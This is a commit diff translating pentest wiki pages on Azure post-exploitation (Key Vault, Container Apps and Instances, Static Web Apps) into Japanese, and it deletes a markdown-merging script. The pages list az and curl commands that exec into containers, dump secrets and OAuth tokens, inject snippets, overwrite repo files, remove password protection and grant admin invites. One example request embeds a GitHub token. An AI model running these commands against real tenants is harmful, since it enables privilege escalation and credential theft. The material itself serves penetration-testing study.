Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-04-02 15:53:19 +00:00
parent ecc620168c
commit 5e468c9be2
5 changed files with 204 additions and 341 deletions

View File

@@ -1,145 +0,0 @@
import os
import re
import tempfile
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"# {file_name}\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
def main():
# Specify the starting folder and output file
start_folder = os.getcwd()
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
# Keywords to exclude from lines
exclude_keywords = [
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
# Print the path to the output file
print(f"Merged content has been saved to: {output_file}")
if __name__ == "__main__":
# Execute this from the hacktricks folder to clean
# It will clean all the .md files and compile them into 1 in a proper order
main()

View File

@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
この権限は、プリンシパルがバックアップからシークレットを復元することを許可します。
```bash
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
```
### Microsoft.KeyVault/vaults/keys/recover/action
Azure Key Vaultから以前削除されたキーの回復を許可します。
```bash
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -14,9 +14,9 @@
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
これらの権限により、ユーザーは実行中のコンテナ内で**コマンドを実行**することができます。これにより、コンテナに管理されたアイデンティティが付与されている場合**権限を昇格**させることが可能です。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
これらの権限により、ユーザーは実行中のコンテナ内で**コマンドを実行**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合**権限を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
シェルを取得するのは非常に簡単です:
シェルを取得するのは簡単です:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
@@ -49,7 +49,7 @@ az rest \
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナー グループを作成または更新**することを許可します。これは、コンテナ内で権限を昇格させるのに非常に便利です。
これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナーグループを作成または更新**することを許可します。これは、コンテナ内で権限を昇格させるのに非常に便利です。
```bash
az container create \
--resource-group <res-group> \
@@ -67,7 +67,7 @@ az container create \
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
これらの権限により、ユーザーは実行中のアプリケーションコンテナ内で**シェルを取得**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に**権を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
これらの権限により、ユーザーは実行中のアプリケーションコンテナ内で**シェルを取得**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に**権を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
@@ -75,7 +75,7 @@ az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
この権限は、コンテナアプリ内に設定された**シークレットのプレーンテキスト**を取得することを許可します。シークレットはプレーンテキストまたはキー ボールトへのリンクで設定できることに注意してください(その場合、アプリにはシークレットへのアクセス権を持つマネージド ID が割り当てられます)。
この権限は、コンテナアプリ内に設定された**シークレットのプレーンテキスト**を取得することを許可します。シークレットはプレーンテキストまたはキーコンテナへのリンクで設定できることに注意してくださいその場合、アプリにはシークレットへのアクセス権を持つマネージドIDが割り当てられます
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
@@ -134,14 +134,14 @@ az containerapp job start --name <job-name> --resource-group <res-group> --yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
これらの権限がある場合、ジョブコンテナ内のすべてのシークレット(最初の権限)をリストし、設定されたシークレットの値を読み取ることができます。
これらの権限がある場合、ジョブコンテナ内のすべてのシークレット(最初の権限)をリストし、構成されたシークレットの値を読み取ることができます。
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
ジョブの設定を変更する権限がある場合、ユーザー割り当てのマネージドアイデンティティを添付できます。このアイデンティティには、他のリソースやシークレットへのアクセスなど、特権が追加されている可能性があり、これを悪用してコンテナ内で特権を昇格させることができます。
ジョブの設定を変更する権限がある場合、ユーザー割り当てのマネージドIDを添付できます。このIDには、他のリソースやシークレットへのアクセスなど、特権が追加されている可能性があり、これを悪用してコンテナ内で特権を昇格させることができます。
```bash
az containerapp job update \
--name <job-name> \
@@ -150,7 +150,7 @@ az containerapp job update \
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
新しい Container Apps Job を作成する(または既存のものを更新する)ことができ、マネージドアイデンティティをアタッチできる場合、そのジョブを設計して特権を昇格させるペイロードを実行することができます。えば、リバースシェルを実行するだけでなく、マネージドアイデンティティの資格情報を使用してトークンを要求したり、他のリソースにアクセスしたりする新しいジョブを作成することができます。
新しい Container Apps Job を作成する(または既存のものを更新する)ことができ、マネージドアイデンティティをアタッチできる場合、特権を昇格させるペイロードを実行するようにジョブを設計できます。たとえば、リバースシェルを実行するだけでなく、マネージドアイデンティティの資格情報を使用してトークンを要求したり、他のリソースにアクセスしたりする新しいジョブを作成することができます。
```bash
az containerapp job create \
--name <new-job-name> \
@@ -169,9 +169,14 @@ az containerapp job create \
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
これらの権限があれば、ジョブを開始できるはずです。これ、ジョブの設定を変更することなく、リバースシェルやその他の悪意のあるコマンドを使用してジョブを開始するために使用できます。
これらの権限があれば、ジョブを開始できるはずです。これを使用して、ジョブの設定を変更することなく、リバースシェルやその他の悪意のあるコマンドジョブを開始することができます。
私はそれを動作させることできませんでしたが、許可されたパラメータによれば、可能であるはずです。
うまく動作させることできませんでしたが、許可されたパラメータによれば、可能はずです。
### Microsoft.ContainerInstance/containerGroups/restart/action
Azure Container Instances内の特定のコンテナグループを再起動することを許可します。
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Azure Static Web Apps
For more information about this service check:
このサービスに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
スニペットを作成することで、静的ウェブページに任意のHTMLコードを読み込ませることが可能です。これにより、攻撃者はウェブアプリ内にJSコードを注入し、資格情報やメモリニックキーweb3ウォレット内などの機密情報を盗むことができます。
以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 設定されたサードパーティの資格情報を読み取る
### Read Configured Third Party Credentials
As explained in the App Service section:
App Service セクションで説明したように:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
ここにトークンを確認するためのいくつかのコマンド例があります:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### ファイルの上書き - ルート、HTML、JSの上書き...
### Overwrite file - Overwrite routes, HTML, JS...
Azureを通じて**アプリを含むGithubリポジトリ内のファイルを上書きする**ことが可能であり、**Githubトークン**を使用して以下のようなリクエストを送信することで、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定できます。
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供したり(資格情報、ニーモニックキーを盗むなど)、`staticwebapp.config.json`ファイルを上書きすることで特定のパスを自分のサーバーに**再ルーティング**したりすることができます。
> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
> 攻撃者が何らかの方法でGithubリポジトリを侵害することに成功した場合、Githubから直接ファイルを上書きすることも可能であることに注意してください。
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
この権限を持つことで、静的ウェブアプリを保護している**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することが可能です:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
次に、**トークンを使用してアプリを更新するために**、以下のコマンドを実行できます。このコマンドは、**Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) がどのように機能するかを確認して抽出したもので**、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):
> [!TIP]
> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の**`swa`**ツールを使用するか、以下の手順に従ってください:
1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (またはデプロイしたい他のリポジトリ)し、`cd react-basic`を実行します。
2. デプロイしたいコードを変更します。
3. `<api-token>`を変更することを忘れずに)実行してデプロイします:
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
>[!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
> [!WARNING]
> トークンを持っていても、**Deployment Authorization Policy**が**Github**に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイメント方法をAPIトークンを使用するように変更するために、`Microsoft.Web/staticSites/write`の権限が必要です。
### Microsoft.Web/staticSites/write
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
この権限を持つことで、**静的ウェブアプリのソースを別のGithubリポジトリに変更する**ことが可能ですが、これはGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
ただし、**Deployment Authorization Policy**が**Github**に設定されている場合、**新しいソースリポジトリからアプリを更新することが可能です!**。
**Deployment Authorization Policy**がGithubに設定されていない場合、同じ権限`Microsoft.Web/staticSites/write`を使用して変更できます。
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,109 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Example Github Action to deploy the app:
アプリをデプロイするための例のGithub Action:
```yaml
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
この権限は、特定の役割を持つユーザーに対して、静的ウェブアプリ内の保護されたパスにアクセスするための**招待を作成する**ことを許可します。
ログインは、`/.auth/login/github`GitHub用`/.auth/login/aad`Entra ID用などのパスにあります。ユーザーは次のコマンドで招待できます
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
デフォルトでは、同じリポジトリ内のブランチからのプルリクエストは、ステージング環境で自動的にコンパイルおよびビルドされます。これは、リポジトリに対する書き込みアクセスを持つ攻撃者によって悪用される可能性がありますが、プロダクションブランチ(通常は `main`)のブランチ保護を回避できない場合、**ステージングURLに悪意のあるアプリのバージョンをデプロイする**ことができます。
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
ステージングURLは次の形式です: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 例えば: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
